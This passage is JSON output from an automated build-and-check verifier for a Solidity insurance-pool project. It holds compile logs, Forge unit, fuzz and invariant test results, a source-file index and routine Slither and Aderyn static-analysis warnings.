513700340\n  Bound result 431812691808555647296\n  Bound result 6409\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 517440283\n  Bound result 5810\n  Bound result 3\n  Bound result 4305\n  Bound result 348\n  Bound result 3\n  Bound result 31238880306\n  Bound result 111\n  Bound result 1\n  Bound result 25204489368053797826\n  Bound result 1\n  Bound result 3\n  Bound result 6091064917860027500\n  Bound result 6982\n  Bound result 123\n  Bound result 12732\n  Bound result 12\n  Bound result 116\n  Bound result 3\n  Bound result 42\n  Bound result 1165219446\n  Bound result 3\n  Bound result 22\n  Bound result 226745170657427\n  Bound result 5206\n  Bound result 3\n  Bound result 10000000000000000000000000\n  Bound result 3075\n  Bound result 1480\n  Bound result 5893\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1071663)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.85s (1.85s CPU time)\n\nRan 8 test suites in 1.85s (2.54s CPU time): 64 tests passed, 0 failed, 0 skipped (64 total tests)\n","passed":true},{"durationMs":73,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":70,\"README.md\":90,\"THREATS.md\":62,\"dependency-checksums.json\":59,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":133,\"src/CoverPool.sol\":171,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/PolicyBook.sol\":159,\"src/PremiumModel.sol\":51,\"src/SepoliaOnly.sol\":11,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":109,\"test/PolicyBook.t.sol\":240,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SolvencyInvariant.t.sol\":205,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":120},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1962,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/PolicyBook.sol:112: Reentrancy in PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#112-144):\n[medium/high] incorrect-equality at src/CoreReader.sol:28: CoreReader.snapshot() (src/CoreReader.sol#28-52) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/CoreReader.sol:30: CoreReader.snapshot().config (src/CoreReader.sol#30) is a local variable never initialized\n[medium/medium] uninitialized-local at src/CoreReader.sol:66: CoreReader.countZeroRounds(uint64,uint16).page (src/CoreReader.sol#66) is a local variable never initialized\n[medium/medium] unused-return at src/PolicyBook.sol:92: PolicyBook.quote(uint64,uint16,uint16,uint256) (src/PolicyBook.sol#92-109) ignores return value by (premium,None) = premiumModel.quote(rounds,thresholdBps,cover,pool.totalAssets(),pool.reserved()) (src/PolicyBook.sol#108)\n[low/medium] calls-loop at src/CoreReader.sol:56: CoreReader.countZeroRounds(uint64,uint16) (src/CoreReader.sol#56-87) has external calls inside a loop: result = core.roundPage(cursor,end,PAGE_SIZE) (src/CoreReader.sol#67-71)\n[low/medium] timestamp at src/PolicyBook.sol:112: PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#112-144) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:28: CoreReader.snapshot() (src/CoreReader.sol#28-52) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:56: CoreReader.countZeroRounds(uint64,uint16) (src/CoreReader.sol#56-87) uses timestamp for comparisons","passed":true},{"durationMs":497,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/CoverPool.sol:75: Reentrancy: State change after external call (2 places)\n[low] centralization-risk at src/CoverPool.sol:71: Centralization Risk (5 places)\n[low] large-numeric-literal at src/CoverPool.sol:20: Large Numeric Literal (3 places)\n[low] require-revert-in-loop at src/CoreReader.sol:65: Loop Contains `require`/`revert` (2 places)\n[low] uninitialized-local-variable at src/CoreReader.sol:92: Uninitialized Local Variable\n[low] unused-public-function at src/CoverPool.sol:84: Public Function Not Used Internally","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c1e6d57a6a708cfc832f48e2b0e0d3fa08b35413b394aae0defbfe2a20876666","verifiedTreeHash":"553b855f4e6ee8db4454b79dbb41859549a1ccdf","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":7081,"exitCode":0,"name":"build","output":"Compiling 65 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.97s\nCompiler run successful!\n","passed":true},{"durationMs":6836,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 919.68µs (608.76µs CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606635)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1183587)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1256893)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 980115)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1098686)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1120114)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 8.10ms (4.89ms CPU time)\n\nRan 6 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1317072)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 2639486)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 967676)\n[PASS] test_gateOpensOnlyWhenTheWholeWindowIsCertified() (gas: 1038309)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4539095)\n[PASS] test_startRoundLeadIsCapped() (gas: 305392)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 17.50ms (11.88ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747975)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 13410219)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 41.10ms (39.04ms CPU time)\n\nRan 3 tests for test/MockSQKStateMachine.t.sol:MockSQKEdgesTest\n[PASS] test_fullInitialSupplyTransferAndZeroSelfTransferPreserveSupply() (gas: 205910)\n[PASS] test_supplyAtUint256LimitRejectsOverflowAtomically() (gas: 133031)\n[PASS] test_zeroRecipientFailuresLeaveBalancesAndAllowanceUntouched() (gas: 200788)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 66.10ms (743.18µs CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 874134, ~: 863827)\nLogs:\n  Bound result 6300\n  Bound result 200000\n  Bound result 2766\n  Bound result 10\n  Bound result 7790\n  Bound result 459\n  Bound result 2768\n  Bound result 86\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 102.33ms (102.49ms CPU time)\n\nRan 4 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3342563, ~: 2086820)\nLogs:\n  Bound result 1\n  Bound result 1603142370\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8406762)\n[PASS] test_sharesWithValueAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 8486268)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 8615218)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 355.91ms (372.36ms CPU time)\n\nRan 9 tests for test/PolicyFailureMatrix.t.sol:PolicyFailureMatrixTest\n[PASS] test_bothPausesStillAllowFreeLiquidityWithdrawal() (gas: 1013033)\n[PASS] test_everyProductImmediatelyBelowAtAndAboveItsThreshold() (gas: 361512068)\n[PASS] test_expiredPolicyCannotBeReplayedAfterFurtherCertification() (gas: 1140839)\n[PASS] test_frontierOneShortRejectsEvenFullyAvailableActiveRecords() (gas: 1525627)\n[PASS] test_holderBalanceFailureAfterApprovalDoesNotConsumeAnIdOrAllowance() (gas: 1138926)\n[PASS] test_oldQuoteCannotOpenAfterStartRoundBecomesCurrent() (gas: 301759)\n[PASS] test_secondPageFailureCannotPartiallySettleOrReleaseCover() (gas: 3038076)\n[PASS] test_snapshotReadFailuresPreserveOpenPolicyAndPermitRetry() (gas: 1258691)\n[PASS] test_unsolicitedBookBalanceCannotSubsidizeOrDivertPremiums() (gas: 855168)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 359.19ms (363.74ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1140811, ~: 527278)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 102516)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59325)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14410984)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432268)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1745327)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349040)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397544)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164270)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111218)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111748)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129333)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152994)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 502.19ms (516.41ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350746, ~: 349511)\nLogs:\n  Bound result 199\n  Bound result 21847\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 815028)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189363)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257797)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366085)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321135)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 817774)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 643629)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41851)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 928275)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1164698)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 516.16ms (519.50ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3450664, ~: 1367895)\nLogs:\n  Bound result 1\n  Bound result 11\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1137840)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68696)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 595807)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 741356)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 673432)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1139504)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 732563)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1472302)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 902153)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 768738)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99210)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 803624)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 710379)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264146)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 825652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 414284)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 516.07ms (523.52ms CPU time)\n\nRan 5 tests for test/SettlementGateAdversarial.t.sol:SettlementGateAdversarialTest\n[PASS] testFuzz_settlementOrderNeverLeavesTheGateWrong(uint8) (runs: 512, μ: 6432530, ~: 6446314)\n[PASS] test_dustPoliciesMustEachBeSettledBeforeLpsCanMove() (gas: 12104352)\n[PASS] test_gateIgnoresUncertifiedLaterWindowsAndReopensAfterEarliestSettles() (gas: 1586565)\n[PASS] test_pausesDoNotHideAPendingSettlement() (gas: 1142291)\n[PASS] test_strangerRedeemFailsOnSharesBeforeTheGate() (gas: 662850)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 516.06ms (531.66ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77517, ~: 77587)\nLogs:\n  Bound result 5576813114\n  Bound result 4487157654\n  Bound result 49\n  Bound result 1\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169026)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 686.91ms (686.53ms CPU time)\n\nRan 5 tests for test/CoreReaderProperties.t.sol:CoreReaderPropertiesTest\n[PASS] testFuzz_countIsAdditiveAcrossSupportedWindows(uint256,uint16) (runs: 256, μ: 10695152, ~: 7415477)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_countIsIndependentOfCoreBatchLimit(uint256,uint16) (runs: 256, μ: 4620084, ~: 2734471)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_snapshotTracksExactClockBoundary(uint32,uint16) (runs: 256, μ: 139095, ~: 139393)\nLogs:\n  Bound result 255\n\n[PASS] test_allAdditionalPageValidationFailuresPreserveReservations() (gas: 2139791)\n[PASS] test_eachInvalidConfigurationBlocksPurchasesBeforeCollectingPremium() (gas: 570869)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 737.25ms (1.34s CPU time)\n\nRan 8 tests for test/PremiumArithmeticProperties.t.sol:PremiumArithmeticPropertiesTest\n[PASS] testFuzz_bothRoundingStepsChooseTheLeastSufficientInteger(uint128,uint128,uint128,uint16,uint16) (runs: 1000, μ: 84689, ~: 84500)\nLogs:\n  Bound result 2795\n  Bound result 537\n  Bound result 1899\n  Bound result 33\n  Bound result 6855\n\n[PASS] testFuzz_fullUtilizationSupportsUint256Amounts(uint256,uint16,uint16) (runs: 1000, μ: 76089, ~: 75882)\nLogs:\n  Bound result 127\n  Bound result 15\n  Bound result 2000\n\n[PASS] testFuzz_moreLiquidityNeverRaisesTheSameCoverPremium(uint128,uint128,uint128,uint128) (runs: 1000, μ: 84996, ~: 84943)\nLogs:\n  Bound result 30745532865133582946\n  Bound result 4637124692208870728\n  Bound result 56574909426868700\n\n[PASS] testFuzz_unsupportedDurationCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34917, ~: 34925)\n[PASS] testFuzz_unsupportedThresholdCannotBeConfiguredOrQuoted(uint16) (runs: 1000, μ: 34982, ~: 34978)\n[PASS] test_invalidRateCannotOverwriteConfiguredTerms() (gas: 116061)\n[PASS] test_maximumCoverAtMaximumRateIsExactAndDoesNotOverflow() (gas: 77236)\n[PASS] test_maximumReservedAndEmptyAssetsFailWithLiquidityError() (gas: 86334)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 737.34ms (2.33s CPU time)\n\nRan 2 tests for test/MockSQKStateMachine.t.sol:MockSQKStateMachineTest\n[PASS]\nMockSQKStateMachineTest invariants:\n[PASS] invariant_allowancesAndOwnershipMatchIndependentLedger\n[PASS] invariant_supplyAndAllBalancesMatchIndependentLedger\n MockSQKStateMachineTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭----------------+------------------------+-------+---------+----------╮\n| Contract       | Selector               | Calls | Reverts | Discards |\n+======================================================================+\n| MockSQKHandler | acceptOwner            | 2013  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | approve                | 2122  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | mint                   | 2037  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | proposeOwner           | 2018  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | rejectInvalidOperation | 2097  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transfer               | 4076  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transferFrom           | 2021  | 0       | 0        |\n╰----------------+------------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 0\n  Bound result 144\n  Bound result 0\n  Bound result 1527\n  Bound result 0\n  Bound result 0\n  Bound result 900000000000000000000\n  Bound result 0\n  Bound result 63890095280638106174570761\n  Bound result 3644\n  Bound result 0\n  Bound result 1030\n  Bound result 669136354\n  Bound result 0\n  Bound result 0\n  Bound result 1770\n  Bound result 12\n  Bound result 0\n  Bound result 1418073905834\n  Bound result 3\n  Bound result 4865\n  Bound result 1500\n  Bound result 295\n  Bound result 222988892710\n  Bound result 102299015\n  Bound result 9702\n  Bound result 743\n  Bound result 9839\n  Bound result 24337\n  Bound result 900000000000000000000\n  Bound result 231\n\n[PASS] test_handlerExercisesFiniteInfiniteAndSelfTransfersAcrossHandover() (gas: 1848282)\nLogs:\n  Bound result 100\n  Bound result 17\n  Bound result 19\n  Bound result 20\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.79s (4.79s CPU time)\n\nRan 5 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n[PASS] invariant_policyTermsAndTerminalStatesMatchPurchaseHistory\n SolvencyInvariantTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+-----------------------+-------+---------+----------╮\n| Contract     | Selector              | Calls | Reverts | Discards |\n+===================================================================+\n| CoverHandler | advance               | 1355  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | deposit               | 1327  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | donate                | 1369  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | elapse                | 1376  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | open                  | 1368  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | pause                 | 1389  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | redeem                | 1343  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | rejectEarlyOrReplay   | 1350  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | reprice               | 1371  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | roundTrip             | 1310  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | settle                | 1452  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | transferBetweenActors | 1374  | 0       | 0        |\n╰--------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 1553423034\n  Bound result 36\n  Bound result 1442\n  Bound result 11\n  Bound result 100000000000000000000\n  Bound result 2514264337593536027519\n  Bound result 834\n  Bound result 1979\n  Bound result 5618468168810728837420\n  Bound result 141\n  Bound result 6\n  Bound result 3510186929148421736935\n  Bound result 1\n  Bound result 8\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 7121\n  Bound result 1434\n  Bound result 2341\n  Bound result 6\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 79120998384623664080\n  Bound result 1271\n  Bound result 729528144359007016736\n  Bound result 1\n  Bound result 4071553022062185939796\n  Bound result 21527\n  Bound result 172\n  Bound result 3\n  Bound result 5263\n  Bound result 5263\n  Bound result 5263\n  Bound result 2737478770999775826776\n  Bound result 7109\n  Bound result 1\n  Bound result 504620423043101\n  Bound result 1\n  Bound result 10632299500\n  Bound result 1\n  Bound result 4123\n  Bound result 1\n  Bound result 1\n  Bound result 120\n  Bound result 9000\n  Bound result 16\n  Bound result 72\n  Bound result 3694\n  Bound result 6\n  Bound result 100\n  Bound result 5\n  Bound result 1\n  Bound result 1\n  Bound result 214317211265\n  Bound result 1133629277865\n  Bound result 1\n  Bound result 1\n  Bound result 22527\n  Bound result 1364419062\n  Bound result 4\n  Bound result 98758015949026343204\n  Bound result 98758015949026343204\n  Bound result 98758015949026343204\n  Bound result 98758015949026343204\n  Bound result 1\n  Bound result 2\n  Bound result 2951356420\n  Bound result 2951356420\n  Bound result 18171\n  Bound result 104\n  Bound result 253\n  Bound result 2984\n\n[PASS] test_handlerExercisesRoundingRepricingFailureAndExpiryPaths() (gas: 3640649)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 1\n  Bound result 10000\n  Bound result 0\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 7\n  Bound result 1\n  Bound result 1\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000000\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1665382)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\n[PASS] test_handlerLpFlowsRefuseStalePriceUntilAnyoneSettles() (gas: 2076728)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 4\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 4\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n\n[PASS] test_handlerRoundTripsAfterCoveredLossAndWhilePaused() (gas: 2167943)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 8\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 6.68s (6.70s CPU time)\n\nRan 17 test suites in 6.69s (16.64s CPU time): 111 tests passed, 0 failed, 0 skipped (111 total tests)\n","passed":true},{"durationMs":90,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":74,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":146,\"src/CoverPool.sol\":245,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":208,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoreReaderProperties.t.sol\":125,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/MockSQKStateMachine.t.sol\":274,\"test/PolicyBook.t.sol\":240,\"test/PolicyFailureMatrix.t.sol\":264,\"test/PremiumAndOwnership.t.sol\":146,\"test/PremiumArithmeticProperties.t.sol\":128,\"test/README.md\":99,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":226,\"test/SettlementGateAdversarial.t.sol\":137,\"test/ShareSupply.t.sol\":173,\"test/SolvencyInvariant.t.sol\":424,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":128,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"f717396feb8ac379542de8f1a1bf1758f1333a8ae982a205713575e7d4ad5256","verifiedTreeHash":"15baa2195004ad351901600846948994aacb2e30","verifierVersion":"0.1.0+a6eb4461"}]}